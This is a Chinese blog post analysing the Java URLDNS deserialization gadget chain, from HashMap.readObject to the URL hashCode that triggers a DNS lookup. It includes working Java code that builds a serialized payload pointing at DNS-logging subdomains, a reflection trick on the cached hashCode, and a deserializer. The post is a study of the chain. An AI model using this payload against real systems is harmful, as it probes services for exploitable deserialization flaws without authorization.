boxmoe_header_banner_img

Hello! 欢迎来到zz的小站!

加载中

文章导读

URLDNS链分析


avatar
zzdzz 2025年10月11日 227

参考资料:白日梦组长

思路分析

入口类:HashMap

HashMap.readObject()

为什么能成为入口类:

1.继承Serializable​接口

2.重写readObject​方法,调用一个常见函数

3.最好接受的传参范围广,jdk自带

链分析

HashMap.readObject() 中 调用hash(key)

调用key.hashCode()

key可控,如果key为URL类,即可调用URL类的hashcode方法

接着调用

URLStreamHandler类中的hashcode方法

成功走到执行方法getHostAddress(),触发dns解析

代码实现

package org.example;

import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;

public class URLDNS {
    public static void main(String[] args) throws MalformedURLException {
        URL url = new URL("http://bhdaguemdy.zaza.eu.org");
        HashMap<URL, String> urlStringHashMap = new HashMap<URL, String>();
        urlStringHashMap.put(url, "1");
        
    }
}

发现问题,在没有反序列化时就已经触发dns

点put进去看,发现在put传值进去时也会调用hash(key)

一方面影响对于是否有漏洞的判断,另一方面一开始hashCode默认为-1,当执行完put方法后,hashCode已经为计算后的值,不为-1,之后反序列化将不会再执行hashCode方法

解决办法:

在put之前反射改变hashCode的值不为-1

在put之后改变hashCode的值为-1

再进行序列化

获取Class,在改值,比较简单

package org.example;

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class URLDNS {
    public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException {
        URL url = new URL("http://pkayeuhzml.yutu.eu.org");
        HashMap<URL, String> urlStringHashMap = new HashMap<URL, String>();

        //修改hashCode值不为-1
        Class<? extends URL> aClass = url.getClass();
        Field hashCode = aClass.getDeclaredField("hashCode");
        hashCode.setAccessible(true);
        hashCode.set(url,1);

        urlStringHashMap.put(url, "1");

		//改回-1,使得反序列化时执行
        hashCode.set(url,-1);

        serialize(urlStringHashMap);


    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }


}

顺带贴一个反序列化的类

package org.example;

import java.io.*;

public class Unserializable {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        Object o = UnSerializableTest("ser.bin");
        System.out.println(o);
    }

    public static Object UnSerializableTest(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object o = ois.readObject();
        return o;
    }
}

总结

其实就一步

入口类 A.readObject() 接受可控变量 o

A.readObject() => o.f()

(当传入o为B类时)

=> B.f()



评论(已关闭)

评论已关闭